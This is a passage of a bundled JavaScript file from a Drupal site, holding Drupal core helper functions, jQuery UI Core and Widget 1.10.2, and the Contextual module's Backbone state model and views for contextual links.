};
/**
* Format a string containing a count of items.
*
* This function ensures that the string is pluralized correctly. Since
* Drupal.t() is called by this function, make sure not to pass
* already-localized strings to it.
*
* See the documentation of the server-side format_plural() function for
* further details.
*
* @param {Number} count
* The item count to display.
* @param {String} singular
* The string for the singular case. Please make sure it is clear this is
* singular, to ease translation (e.g. use "1 new comment" instead of "1
* new"). Do not use @count in the singular string.
* @param {String} plural
* The string for the plural case. Please make sure it is clear this is
* plural, to ease translation. Use @count in place of the item count, as in
* "@count new comments".
* @param {Object} args
* An object of replacements pairs to make after translation. Incidences
* of any key in this array are replaced with the corresponding value.
* See Drupal.formatString().
* Note that you do not need to include @count in this array.
* This replacement is done automatically for the plural case.
* @param {Object} options
* The options to pass to the Drupal.t() function.
*
* @return {String}
* A translated string.
*/
Drupal.formatPlural = function (count, singular, plural, args, options) {
args = args || {};
args['@count'] = count;
var pluralDelimiter = drupalSettings.locale.pluralDelimiter,
translations = Drupal.t(singular + pluralDelimiter + plural, args, options).split(pluralDelimiter),
index = 0;
// Determine the index of the plural form.
if (Drupal.locale.pluralFormula) {
index = count in Drupal.locale.pluralFormula ? Drupal.locale.pluralFormula[count] : Drupal.locale.pluralFormula['default'];
}
else if (args['@count'] !== 1) {
index = 1;
}
return translations[index];
};
/**
* Encodes a Drupal path for use in a URL.
*
* For aesthetic reasons slashes are not escaped.
*/
Drupal.encodePath = function (item) {
return window.encodeURIComponent(item).replace(/%2F/g, '/');
};
/**
* Generate the themed representation of a Drupal object.
*
* All requests for themed output must go through this function. It examines
* the request and routes it to the appropriate theme function. If the current
* theme does not provide an override function, the generic theme function is
* called.
*
* For example, to retrieve the HTML for text that should be emphasized and
* displayed as a placeholder inside a sentence, call
* Drupal.theme('placeholder', text).
*
* @param func
* The name of the theme function to call.
* @param ...
* Additional arguments to pass along to the theme function.
* @return
* Any data the theme function returns. This could be a plain HTML string,
* but also a complex object.
*/
Drupal.theme = function (func) {
var args = Array.prototype.slice.apply(arguments, [1]);
if (func in Drupal.theme) {
return Drupal.theme[func].apply(this, args);
}
};
/**
* Formats text for emphasized display in a placeholder inside a sentence.
*
* @param str
* The text to format (plain-text).
* @return
* The formatted text (html).
*/
Drupal.theme.placeholder = function (str) {
return '<em class="placeholder">' + Drupal.checkPlain(str) + '</em>';
};
})(domready, Drupal, window.drupalSettings);
;
/*!
* jQuery UI Core 1.10.2
* http://jqueryui.com
*
* Copyright 2013 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/category/ui-core/
*/
(function( $, undefined ) {
var uuid = 0,
runiqueId = /^ui-id-\d+$/;
// $.ui might exist from components with no dependencies, e.g., $.ui.position
$.ui = $.ui || {};
$.extend( $.ui, {
version: "1.10.2",
keyCode: {
BACKSPACE: 8,
COMMA: 188,
DELETE: 46,
DOWN: 40,
END: 35,
ENTER: 13,
ESCAPE: 27,
HOME: 36,
LEFT: 37,
NUMPAD_ADD: 107,
NUMPAD_DECIMAL: 110,
NUMPAD_DIVIDE: 111,
NUMPAD_ENTER: 108,
NUMPAD_MULTIPLY: 106,
NUMPAD_SUBTRACT: 109,
PAGE_DOWN: 34,
PAGE_UP: 33,
PERIOD: 190,
RIGHT: 39,
SPACE: 32,
TAB: 9,
UP: 38
}
});
// plugins
$.fn.extend({
focus: (function( orig ) {
return function( delay, fn ) {
return typeof delay === "number" ?
this.each(function() {
var elem = this;
setTimeout(function() {
$( elem ).focus();
if ( fn ) {
fn.call( elem );
}
}, delay );
}) :
orig.apply( this, arguments );
};
})( $.fn.focus ),
scrollParent: function() {
var scrollParent;
if (($.ui.ie && (/(static|relative)/).test(this.css("position"))) || (/absolute/).test(this.css("position"))) {
scrollParent = this.parents().filter(function() {
return (/(relative|absolute|fixed)/).test($.css(this,"position")) && (/(auto|scroll)/).test($.css(this,"overflow")+$.css(this,"overflow-y")+$.css(this,"overflow-x"));
}).eq(0);
} else {
scrollParent = this.parents().filter(function() {
return (/(auto|scroll)/).test($.css(this,"overflow")+$.css(this,"overflow-y")+$.css(this,"overflow-x"));
}).eq(0);
}
return (/fixed/).test(this.css("position")) || !scrollParent.length ? $(document) : scrollParent;
},
zIndex: function( zIndex ) {
if ( zIndex !== undefined ) {
return this.css( "zIndex", zIndex );
}
if ( this.length ) {
var elem = $( this[ 0 ] ), position, value;
while ( elem.length && elem[ 0 ] !== document ) {
// Ignore z-index if position is set to a value where z-index is ignored by the browser
// This makes behavior of this function consistent across browsers
// WebKit always returns auto if the element is positioned
position = elem.css( "position" );
if ( position === "absolute" || position === "relative" || position === "fixed" ) {
// IE returns 0 when zIndex is not specified
// other browsers return a string
// we ignore the case of nested elements with an explicit value of 0
// <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
value = parseInt( elem.css( "zIndex" ), 10 );
if ( !isNaN( value ) && value !== 0 ) {
return value;
}
}
elem = elem.parent();
}
}
return 0;
},
uniqueId: function() {
return this.each(function() {
if ( !this.id ) {
this.id = "ui-id-" + (++uuid);
}
});
},
removeUniqueId: function() {
return this.each(function() {
if ( runiqueId.test( this.id ) ) {
$( this ).removeAttr( "id" );
}
});
}
});
// selectors
function focusable( element, isTabIndexNotNaN ) {
var map, mapName, img,
nodeName = element.nodeName.toLowerCase();
if ( "area" === nodeName ) {
map = element.parentNode;
mapName = map.name;
if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) {
return false;
}
img = $( "img[usemap=#" + mapName + "]" )[0];
return !!img && visible( img );
}
return ( /input|select|textarea|button|object/.test( nodeName ) ?
!element.disabled :
"a" === nodeName ?
element.href || isTabIndexNotNaN :
isTabIndexNotNaN) &&
// the element and all of its ancestors must be visible
visible( element );
}
function visible( element ) {
return $.expr.filters.visible( element ) &&
!$( element ).parents().addBack().filter(function() {
return $.css( this, "visibility" ) === "hidden";
}).length;
}
$.extend( $.expr[ ":" ], {
data: $.expr.createPseudo ?
$.expr.createPseudo(function( dataName ) {
return function( elem ) {
return !!$.data( elem, dataName );
};
}) :
// support: jQuery <1.8
function( elem, i, match ) {
return !!$.data( elem, match[ 3 ] );
},
focusable: function( element ) {
return focusable( element, !isNaN( $.attr( element, "tabindex" ) ) );
},
tabbable: function( element ) {
var tabIndex = $.attr( element, "tabindex" ),
isTabIndexNaN = isNaN( tabIndex );
return ( isTabIndexNaN || tabIndex >= 0 ) && focusable( element, !isTabIndexNaN );
}
});
// support: jQuery <1.8
if ( !$( "<a>" ).outerWidth( 1 ).jquery ) {
$.each( [ "Width", "Height" ], function( i, name ) {
var side = name === "Width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ],
type = name.toLowerCase(),
orig = {
innerWidth: $.fn.innerWidth,
innerHeight: $.fn.innerHeight,
outerWidth: $.fn.outerWidth,
outerHeight: $.fn.outerHeight
};
function reduce( elem, size, border, margin ) {
$.each( side, function() {
size -= parseFloat( $.css( elem, "padding" + this ) ) || 0;
if ( border ) {
size -= parseFloat( $.css( elem, "border" + this + "Width" ) ) || 0;
}
if ( margin ) {
size -= parseFloat( $.css( elem, "margin" + this ) ) || 0;
}
});
return size;
}
$.fn[ "inner" + name ] = function( size ) {
if ( size === undefined ) {
return orig[ "inner" + name ].call( this );
}
return this.each(function() {
$( this ).css( type, reduce( this, size ) + "px" );
});
};
$.fn[ "outer" + name] = function( size, margin ) {
if ( typeof size !== "number" ) {
return orig[ "outer" + name ].call( this, size );
}
return this.each(function() {
$( this).css( type, reduce( this, size, true, margin ) + "px" );
});
};
});
}
// support: jQuery <1.8
if ( !$.fn.addBack ) {
$.fn.addBack = function( selector ) {
return this.add( selector == null ?
this.prevObject : this.prevObject.filter( selector )
);
};
}
// support: jQuery 1.6.1, 1.6.2 (http://bugs.jquery.com/ticket/9413)
if ( $( "<a>" ).data( "a-b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {
$.fn.removeData = (function( removeData ) {
return function( key ) {
if ( arguments.length ) {
return removeData.call( this, $.camelCase( key ) );
} else {
return removeData.call( this );
}
};
})( $.fn.removeData );
}
// deprecated
$.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() );
$.support.selectstart = "onselectstart" in document.createElement( "div" );
$.fn.extend({
disableSelection: function() {
return this.bind( ( $.support.selectstart ? "selectstart" : "mousedown" ) +
".ui-disableSelection", function( event ) {
event.preventDefault();
});
},
enableSelection: function() {
return this.unbind( ".ui-disableSelection" );
}
});
$.extend( $.ui, {
// $.ui.plugin is deprecated. Use the proxy pattern instead.
plugin: {
add: function( module, option, set ) {
var i,
proto = $.ui[ module ].prototype;
for ( i in set ) {
proto.plugins[ i ] = proto.plugins[ i ] || [];
proto.plugins[ i ].push( [ option, set[ i ] ] );
}
},
call: function( instance, name, args ) {
var i,
set = instance.plugins[ name ];
if ( !set || !instance.element[ 0 ].parentNode || instance.element[ 0 ].parentNode.nodeType === 11 ) {
return;
}
for ( i = 0; i < set.length; i++ ) {
if ( instance.options[ set[ i ][ 0 ] ] ) {
set[ i ][ 1 ].apply( instance.element, args );
}
}
}
},
// only used by resizable
hasScroll: function( el, a ) {
//If overflow is hidden, the element might have extra content, but the user wants to hide it
if ( $( el ).css( "overflow" ) === "hidden") {
return false;
}
var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop",
has = false;
if ( el[ scroll ] > 0 ) {
return true;
}
// TODO: determine which cases actually cause this to happen
// if the element doesn't have the scroll set, see if it's possible to
// set the scroll
el[ scroll ] = 1;
has = ( el[ scroll ] > 0 );
el[ scroll ] = 0;
return has;
}
});
})( jQuery );
;
/*!
* jQuery UI Widget 1.10.2
* http://jqueryui.com
*
* Copyright 2013 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/jQuery.widget/
*/
(function( $, undefined ) {
var uuid = 0,
slice = Array.prototype.slice,
_cleanData = $.cleanData;
$.cleanData = function( elems ) {
for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {
try {
$( elem ).triggerHandler( "remove" );
// http://bugs.jquery.com/ticket/8235
} catch( e ) {}
}
_cleanData( elems );
};
$.widget = function( name, base, prototype ) {
var fullName, existingConstructor, constructor, basePrototype,
// proxiedPrototype allows the provided prototype to remain unmodified
// so that it can be used as a mixin for multiple widgets (#8876)
proxiedPrototype = {},
namespace = name.split( "." )[ 0 ];
name = name.split( "." )[ 1 ];
fullName = namespace + "-" + name;
if ( !prototype ) {
prototype = base;
base = $.Widget;
}
// create selector for plugin
$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
return !!$.data( elem, fullName );
};
$[ namespace ] = $[ namespace ] || {};
existingConstructor = $[ namespace ][ name ];
constructor = $[ namespace ][ name ] = function( options, element ) {
// allow instantiation without "new" keyword
if ( !this._createWidget ) {
return new constructor( options, element );
}
// allow instantiation without initializing for simple inheritance
// must use "new" keyword (the code above always passes args)
if ( arguments.length ) {
this._createWidget( options, element );
}
};
// extend with the existing constructor to carry over any static properties
$.extend( constructor, existingConstructor, {
version: prototype.version,
// copy the object used to create the prototype in case we need to
// redefine the widget later
_proto: $.extend( {}, prototype ),
// track widgets that inherit from this widget in case this widget is
// redefined after a widget inherits from it
_childConstructors: []
});
basePrototype = new base();
// we need to make the options hash a property directly on the new instance
// otherwise we'll modify the options hash on the prototype that we're
// inheriting from
basePrototype.options = $.widget.extend( {}, basePrototype.options );
$.each( prototype, function( prop, value ) {
if ( !$.isFunction( value ) ) {
proxiedPrototype[ prop ] = value;
return;
}
proxiedPrototype[ prop ] = (function() {
var _super = function() {
return base.prototype[ prop ].apply( this, arguments );
},
_superApply = function( args ) {
return base.prototype[ prop ].apply( this, args );
};
return function() {
var __super = this._super,
__superApply = this._superApply,
returnValue;
this._super = _super;
this._superApply = _superApply;
returnValue = value.apply( this, arguments );
this._super = __super;
this._superApply = __superApply;
return returnValue;
};
})();
});
constructor.prototype = $.widget.extend( basePrototype, {
// TODO: remove support for widgetEventPrefix
// always use the name + a colon as the prefix, e.g., draggable:start
// don't prefix for widgets that aren't DOM-based
widgetEventPrefix: existingConstructor ? basePrototype.widgetEventPrefix : name
}, proxiedPrototype, {
constructor: constructor,
namespace: namespace,
widgetName: name,
widgetFullName: fullName
});
// If this widget is being redefined then we need to find all widgets that
// are inheriting from it and redefine all of them so that they inherit from
// the new version of this widget. We're essentially trying to replace one
// level in the prototype chain.
if ( existingConstructor ) {
$.each( existingConstructor._childConstructors, function( i, child ) {
var childPrototype = child.prototype;
// redefine the child widget using the same prototype that was
// originally used, but inherit from the new version of the base
$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );
});
// remove the list of existing child constructors from the old constructor
// so the old child constructors can be garbage collected
delete existingConstructor._childConstructors;
} else {
base._childConstructors.push( constructor );
}
$.widget.bridge( name, constructor );
};
$.widget.extend = function( target ) {
var input = slice.call( arguments, 1 ),
inputIndex = 0,
inputLength = input.length,
key,
value;
for ( ; inputIndex < inputLength; inputIndex++ ) {
for ( key in input[ inputIndex ] ) {
value = input[ inputIndex ][ key ];
if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) {
// Clone objects
if ( $.isPlainObject( value ) ) {
target[ key ] = $.isPlainObject( target[ key ] ) ?
$.widget.extend( {}, target[ key ], value ) :
// Don't extend strings, arrays, etc. with objects
$.widget.extend( {}, value );
// Copy everything else by reference
} else {
target[ key ] = value;
}
}
}
}
return target;
};
$.widget.bridge = function( name, object ) {
var fullName = object.prototype.widgetFullName || name;
$.fn[ name ] = function( options ) {
var isMethodCall = typeof options === "string",
args = slice.call( arguments, 1 ),
returnValue = this;
// allow multiple hashes to be passed on init
options = !isMethodCall && args.length ?
$.widget.extend.apply( null, [ options ].concat(args) ) :
options;
if ( isMethodCall ) {
this.each(function() {
var methodValue,
instance = $.data( this, fullName );
if ( !instance ) {
return $.error( "cannot call methods on " + name + " prior to initialization; " +
"attempted to call method '" + options + "'" );
}
if ( !$.isFunction( instance[options] ) || options.charAt( 0 ) === "_" ) {
return $.error( "no such method '" + options + "' for " + name + " widget instance" );
}
methodValue = instance[ options ].apply( instance, args );
if ( methodValue !== instance && methodValue !== undefined ) {
returnValue = methodValue && methodValue.jquery ?
returnValue.pushStack( methodValue.get() ) :
methodValue;
return false;
}
});
} else {
this.each(function() {
var instance = $.data( this, fullName );
if ( instance ) {
instance.option( options || {} )._init();
} else {
$.data( this, fullName, new object( options, this ) );
}
});
}
return returnValue;
};
};
$.Widget = function( /* options, element */ ) {};
$.Widget._childConstructors = [];
$.Widget.prototype = {
widgetName: "widget",
widgetEventPrefix: "",
defaultElement: "<div>",
options: {
disabled: false,
// callbacks
create: null
},
_createWidget: function( options, element ) {
element = $( element || this.defaultElement || this )[ 0 ];
this.element = $( element );
this.uuid = uuid++;
this.eventNamespace = "." + this.widgetName + this.uuid;
this.options = $.widget.extend( {},
this.options,
this._getCreateOptions(),
options );
this.bindings = $();
this.hoverable = $();
this.focusable = $();
if ( element !== this ) {
$.data( element, this.widgetFullName, this );
this._on( true, this.element, {
remove: function( event ) {
if ( event.target === element ) {
this.destroy();
}
}
});
this.document = $( element.style ?
// element within the document
element.ownerDocument :
// element is window or document
element.document || element );
this.window = $( this.document[0].defaultView || this.document[0].parentWindow );
}
this._create();
this._trigger( "create", null, this._getCreateEventData() );
this._init();
},
_getCreateOptions: $.noop,
_getCreateEventData: $.noop,
_create: $.noop,
_init: $.noop,
destroy: function() {
this._destroy();
// we can probably remove the unbind calls in 2.0
// all event bindings should go through this._on()
this.element
.unbind( this.eventNamespace )
// 1.9 BC for #7810
// TODO remove dual storage
.removeData( this.widgetName )
.removeData( this.widgetFullName )
// support: jquery <1.6.3
// http://bugs.jquery.com/ticket/9413
.removeData( $.camelCase( this.widgetFullName ) );
this.widget()
.unbind( this.eventNamespace )
.removeAttr( "aria-disabled" )
.removeClass(
this.widgetFullName + "-disabled " +
"ui-state-disabled" );
// clean up events and states
this.bindings.unbind( this.eventNamespace );
this.hoverable.removeClass( "ui-state-hover" );
this.focusable.removeClass( "ui-state-focus" );
},
_destroy: $.noop,
widget: function() {
return this.element;
},
option: function( key, value ) {
var options = key,
parts,
curOption,
i;
if ( arguments.length === 0 ) {
// don't return a reference to the internal hash
return $.widget.extend( {}, this.options );
}
if ( typeof key === "string" ) {
// handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
options = {};
parts = key.split( "." );
key = parts.shift();
if ( parts.length ) {
curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
for ( i = 0; i < parts.length - 1; i++ ) {
curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
curOption = curOption[ parts[ i ] ];
}
key = parts.pop();
if ( value === undefined ) {
return curOption[ key ] === undefined ? null : curOption[ key ];
}
curOption[ key ] = value;
} else {
if ( value === undefined ) {
return this.options[ key ] === undefined ? null : this.options[ key ];
}
options[ key ] = value;
}
}
this._setOptions( options );
return this;
},
_setOptions: function( options ) {
var key;
for ( key in options ) {
this._setOption( key, options[ key ] );
}
return this;
},
_setOption: function( key, value ) {
this.options[ key ] = value;
if ( key === "disabled" ) {
this.widget()
.toggleClass( this.widgetFullName + "-disabled ui-state-disabled", !!value )
.attr( "aria-disabled", value );
this.hoverable.removeClass( "ui-state-hover" );
this.focusable.removeClass( "ui-state-focus" );
}
return this;
},
enable: function() {
return this._setOption( "disabled", false );
},
disable: function() {
return this._setOption( "disabled", true );
},
_on: function( suppressDisabledCheck, element, handlers ) {
var delegateElement,
instance = this;
// no suppressDisabledCheck flag, shuffle arguments
if ( typeof suppressDisabledCheck !== "boolean" ) {
handlers = element;
element = suppressDisabledCheck;
suppressDisabledCheck = false;
}
// no element argument, shuffle and use this.element
if ( !handlers ) {
handlers = element;
element = this.element;
delegateElement = this.widget();
} else {
// accept selectors, DOM elements
element = delegateElement = $( element );
this.bindings = this.bindings.add( element );
}
$.each( handlers, function( event, handler ) {
function handlerProxy() {
// allow widgets to customize the disabled handling
// - disabled as an array instead of boolean
// - disabled class as method for disabling individual parts
if ( !suppressDisabledCheck &&
( instance.options.disabled === true ||
$( this ).hasClass( "ui-state-disabled" ) ) ) {
return;
}
return ( typeof handler === "string" ? instance[ handler ] : handler )
.apply( instance, arguments );
}
// copy the guid so direct unbinding works
if ( typeof handler !== "string" ) {
handlerProxy.guid = handler.guid =
handler.guid || handlerProxy.guid || $.guid++;
}
var match = event.match( /^(\w+)\s*(.*)$/ ),
eventName = match[1] + instance.eventNamespace,
selector = match[2];
if ( selector ) {
delegateElement.delegate( selector, eventName, handlerProxy );
} else {
element.bind( eventName, handlerProxy );
}
});
},
_off: function( element, eventName ) {
eventName = (eventName || "").split( " " ).join( this.eventNamespace + " " ) + this.eventNamespace;
element.unbind( eventName ).undelegate( eventName );
},
_delay: function( handler, delay ) {
function handlerProxy() {
return ( typeof handler === "string" ? instance[ handler ] : handler )
.apply( instance, arguments );
}
var instance = this;
return setTimeout( handlerProxy, delay || 0 );
},
_hoverable: function( element ) {
this.hoverable = this.hoverable.add( element );
this._on( element, {
mouseenter: function( event ) {
$( event.currentTarget ).addClass( "ui-state-hover" );
},
mouseleave: function( event ) {
$( event.currentTarget ).removeClass( "ui-state-hover" );
}
});
},
_focusable: function( element ) {
this.focusable = this.focusable.add( element );
this._on( element, {
focusin: function( event ) {
$( event.currentTarget ).addClass( "ui-state-focus" );
},
focusout: function( event ) {
$( event.currentTarget ).removeClass( "ui-state-focus" );
}
});
},
_trigger: function( type, event, data ) {
var prop, orig,
callback = this.options[ type ];
data = data || {};
event = $.Event( event );
event.type = ( type === this.widgetEventPrefix ?
type :
this.widgetEventPrefix + type ).toLowerCase();
// the original event may come from any element
// so we need to reset the target on the new event
event.target = this.element[ 0 ];
// copy original event properties over to the new event
orig = event.originalEvent;
if ( orig ) {
for ( prop in orig ) {
if ( !( prop in event ) ) {
event[ prop ] = orig[ prop ];
}
}
}
this.element.trigger( event, data );
return !( $.isFunction( callback ) &&
callback.apply( this.element[0], [ event ].concat( data ) ) === false ||
event.isDefaultPrevented() );
}
};
$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
if ( typeof options === "string" ) {
options = { effect: options };
}
var hasOptions,
effectName = !options ?
method :
options === true || typeof options === "number" ?
defaultEffect :
options.effect || defaultEffect;
options = options || {};
if ( typeof options === "number" ) {
options = { duration: options };
}
hasOptions = !$.isEmptyObject( options );
options.complete = callback;
if ( options.delay ) {
element.delay( options.delay );
}
if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
element[ method ]( options );
} else if ( effectName !== method && element[ effectName ] ) {
element[ effectName ]( options.duration, options.easing, callback );
} else {
element.queue(function( next ) {
$( this )[ method ]();
if ( callback ) {
callback.call( element[ 0 ] );
}
next();
});
}
};
});
})( jQuery );
;
/**
* @file
* Attaches behaviors for the Contextual module.
*/
(function ($, Drupal, drupalSettings, _, Backbone, JSON, storage) {
"use strict";
var options = $.extend(drupalSettings.contextual,
// Merge strings on top of drupalSettings so that they are not mutable.
{
strings: {
open: Drupal.t('Open'),
close: Drupal.t('Close')
}
}
);
// Clear the cached contextual links whenever the current user's set of
// permissions changes.
var cachedPermissionsHash = storage.getItem('Drupal.contextual.permissionsHash');
var permissionsHash = drupalSettings.user.permissionsHash;
if (cachedPermissionsHash !== permissionsHash) {
if (typeof permissionsHash === 'string') {
_.chain(storage).keys().each(function (key) {
if (key.substring(0, 18) === 'Drupal.contextual.') {
storage.removeItem(key);
}
});
}
storage.setItem('Drupal.contextual.permissionsHash', permissionsHash);
}
/**
* Initializes a contextual link: updates its DOM, sets up model and views
*
* @param jQuery $contextual
* A contextual links placeholder DOM element, containing the actual
* contextual links as rendered by the server.
* @param string html
* The server-side rendered HTML for this contextual link.
*/
function initContextual($contextual, html) {
var $region = $contextual.closest('.contextual-region');
var contextual = Drupal.contextual;
$contextual
// Update the placeholder to contain its rendered contextual links.
.html(html)
// Use the placeholder as a wrapper with a specific class to provide
// positioning and behavior attachment context.
.addClass('contextual')
// Ensure a trigger element exists before the actual contextual links.
.prepend(Drupal.theme('contextualTrigger'));
// Set the destination parameter on each of the contextual links.
var destination = 'destination=' + Drupal.encodePath(drupalSettings.path.currentPath);
$contextual.find('.contextual-links a').each(function () {
var url = this.getAttribute('href');
var glue = (url.indexOf('?') === -1) ? '?' : '&';
this.setAttribute('href', url + glue + destination);
});
// Create a model and the appropriate views.
var model = new contextual.StateModel({
title: $region.find('h2:first').text().trim()
});
var viewOptions = $.extend({ el: $contextual, model: model }, options);
contextual.views.push({
visual: new contextual.VisualView(viewOptions),
aural: new contextual.AuralView(viewOptions),
keyboard: new contextual.KeyboardView(viewOptions)
});
contextual.regionViews.push(new contextual.RegionView(
$.extend({ el: $region, model: model }, options))
);
// Add the model to the collection. This must happen after the views have been
// associated with it, otherwise collection change event handlers can't
// trigger the model change event handler in its views.
contextual.collection.add(model);
// Let other JavaScript react to the adding of a new contextual link.
$(document).trigger('drupalContextualLinkAdded', {
$el: $contextual,
$region: $region,
model: model
});
// Fix visual collisions between contextual link triggers.
adjustIfNestedAndOverlapping($contextual);
}
/**
* Determines if a contextual link is nested & overlapping, if so: adjusts it.
*
* This only deals with two levels of nesting; deeper levels are not touched.
*
* @param jQuery $contextual
* A contextual links placeholder DOM element, containing the actual
* contextual links as rendered by the server.
*/
function adjustIfNestedAndOverlapping($contextual) {
var $contextuals = $contextual
// @todo confirm that .closest() is not sufficient
.parents('.contextual-region').eq(-1)
.find('.contextual');
// Early-return when there's no nesting.
if ($contextuals.length === 1) {
return;
}
// If the two contextual links overlap, then we move the second one.
var firstTop = $contextuals.eq(0).offset().top;
var secondTop = $contextuals.eq(1).offset().top;
if (firstTop === secondTop) {
var $nestedContextual = $contextuals.eq(1);
// Retrieve height of nested contextual link.
var height = 0;
var $trigger = $nestedContextual.find('.trigger');
// Elements with the .visually-hidden class have no dimensions, so this
// class must be temporarily removed to the calculate the height.
$trigger.removeClass('visually-hidden');
height = $nestedContextual.height();
$trigger.addClass('visually-hidden');
// Adjust nested contextual link's position.
$nestedContextual.css({ top: $nestedContextual.position().top + height });
}
}
/**
* Attaches outline behavior for regions associated with contextual links.
*
* Events
* Contextual triggers an event that can be used by other scripts.
* - drupalContextualLinkAdded: Triggered when a contextual link is added.
*/
Drupal.behaviors.contextual = {
attach: function (context) {
var $context = $(context);
// Find all contextual links placeholders, if any.
var $placeholders = $context.find('[data-contextual-id]').once('contextual-render');
if ($placeholders.length === 0) {
return;
}
// Collect the IDs for all contextual links placeholders.
var ids = [];
$placeholders.each(function () {
ids.push($(this).attr('data-contextual-id'));
});
// Update all contextual links placeholders whose HTML is cached.
var uncachedIDs = _.filter(ids, function initIfCached(contextualID) {
var html = storage.getItem('Drupal.contextual.' + contextualID);
if (html !== null) {
// Initialize after the current executation cycle, to make the AJAX
// request for retrieving the uncached contextual links as soon as
// possible, but also to ensure that other Drupal behaviors have had the
// chance to set up an event listener on the Backbone collection
// Drupal.contextual.collection.
window.setTimeout(function () {
initContextual($context.find('[data-contextual-id="' + contextualID + '"]'), html);
});
return false;
}
return true;
});
// Perform an AJAX request to let the server render the contextual links for
// each of the placeholders.
if (uncachedIDs.length > 0) {
$.ajax({
url: Drupal.url('contextual/render'),
type: 'POST',
data: { 'ids[]': uncachedIDs },
dataType: 'json',
success: function (results) {
_.each(results, function (html, contextualID) {
// Store the metadata.
storage.setItem('Drupal.contextual.' + contextualID, html);
// If the rendered contextual links are empty, then the current user
// does not have permission to access the associated links: don't
// render anything.
if (html.length > 0) {
// Update the placeholders to contain its rendered contextual links.
// Usually there will only be one placeholder, but it's possible for
// multiple identical placeholders exist on the page (probably
// because the same content appears more than once).
var $placeholders = $context.find('[data-contextual-id="' + contextualID + '"]');
// Initialize the contextual links.
for (var i = 0; i < $placeholders.length; i++) {
initContextual($placeholders.eq(i), html);
}
}
});
}
});
}
}
};
Drupal.contextual = {
// The Drupal.contextual.View instances associated with each list element of
// contextual links.
views: [],
// The Drupal.contextual.RegionView instances associated with each contextual
// region element.
regionViews: []
};
// A Backbone.Collection of Drupal.contextual.StateModel instances.
Drupal.contextual.collection = new Backbone.Collection([], { model: Drupal.contextual.StateModel });
/**
* A trigger is an interactive element often bound to a click handler.
*
* @return String
* A string representing a DOM fragment.
*/
Drupal.theme.contextualTrigger = function () {
return '<button class="trigger visually-hidden focusable" type="button"></button>';
};
})(jQuery, Drupal, drupalSettings, _, Backbone, window.JSON, window.sessionStorage);
;
/**
* @file
* A Backbone Model for the state of a contextual link's trigger, list & region.
*/
(function (Drupal, Backbone) {
"use strict";
/**
* Models the state of a contextual link's trigger, list & region.
*/
Drupal.contextual.StateModel = Backbone.Model.extend({
defaults: {
// The title of the entity to which these contextual links apply.
title: '',
// Represents if the contextual region is being hovered.
regionIsHovered: false,
// Represents if the contextual trigger or options have focus.
hasFocus: false,
// Represents if the contextual options for an entity are available to
// be selected (i.e. whether the list of options is visible).
isOpen: false,
// When the model is locked, the trigger remains active.
isLocked: false
},
/**
* Opens or closes the contextual link.
*
* If it is opened, then also give focus.
*/
toggleOpen: function () {
var newIsOpen = !this.get('isOpen');
this.set('isOpen', newIsOpen);
if (newIsOpen) {
this.focus();
}
return this;
},
/**
* Closes this contextual link.
*
* Does not call blur() because we want to allow a contextual link to have
* focus, yet be closed for example when hovering.
*/
close: function () {
this.set('isOpen', false);
return this;
},
/**
* Gives focus to this contextual link.
*
* Also closes + removes focus from every other contextual link.
*/
focus: function () {
this.set('hasFocus', true);
var cid = this.cid;
this.collection.each(function (model) {
if (model.cid !== cid) {
model.close().blur();
}
});
return this;
},
/**
* Removes focus from this contextual link, unless it is open.
*/
blur: function () {
if (!this.get('isOpen')) {
this.set('hasFocus', false);
}
return this;
}
});
})(Drupal, Backbone);
;
/**
* @file
* A Backbone View that provides the aural view of a contextual link.
*/
(function (Drupal, Backbone) {
"use strict";
/**
* Renders the aural view of a contextual link (i.e. screen reader support).
*/
Drupal.contextual.AuralView = Backbone.View.extend({
/**
* {@inheritdoc}
*/
initialize: function (options) {
this.options = options;
this.listenTo(this.model, 'change', this.render);
// Use aria-role form so that the number of items in the list is spoken.
this.$el.attr('role', 'form');
// Initial render.
this.render();
},
/**
* {@inheritdoc}
*/
render: function () {
var isOpen = this.model.get('isOpen');
// Set the hidden property of the links.
this.$el.find('.contextual-links')
.prop('hidden', !isOpen);
// Update the view of the trigger.
this.$el.find('.trigger')
.text(Drupal.t('@action @title configuration options', {
'@action': (!isOpen) ? this.options.strings.open : this.options.strings.close,
'@title': this.model.get('title')
}))
.attr('aria-pressed', isOpen);
}
});
})(Drupal, Backbone);
;
/**
* @file
* A Backbone View that provides keyboard interaction for a contextual link.
*/
(function (Drupal, Backbone) {
"use strict";
/**
* Provides keyboard interaction for a contextual link.
*/
Drupal.contextual.KeyboardView = Backbone.View.extend({
events: {
'focus .trigger': 'focus',
'focus .contextual-links a': 'focus',
'blur .trigger': function () { this.model.blur(); },
'blur .contextual-links a': function () {
// Set up a timeout to allow a user to tab between the trigger and the
// contextual links without the menu dismissing.
var that = this;
this.timer = window.setTimeout(function () {
that.model.close().blur();
}, 150);
}
},
/**
* {@inheritdoc}
*/
initialize: function () {
// The timer is used to create a delay before dismissing the contextual
// links on blur. This is only necessary when keyboard users tab into
// contextual links without edit mode (i.e. without TabbingManager).
// That means that if we decide to disable tabbing of contextual links
// without edit mode, all this timer logic can go away.
this.timer = NaN;
},
/**
* Sets focus on the model; Clears the timer that dismisses the links.
*/
focus: function () {
// Clear the timeout that might have been set by blurring a link.
window.clearTimeout(this.timer);
this.model.focus();
}
});
})(Drupal, Backbone);
;
/**
* @file
* A Backbone View that renders the visual view of a contextual region element.
*/
(function (Drupal, Backbone, Modernizr) {
"use strict";
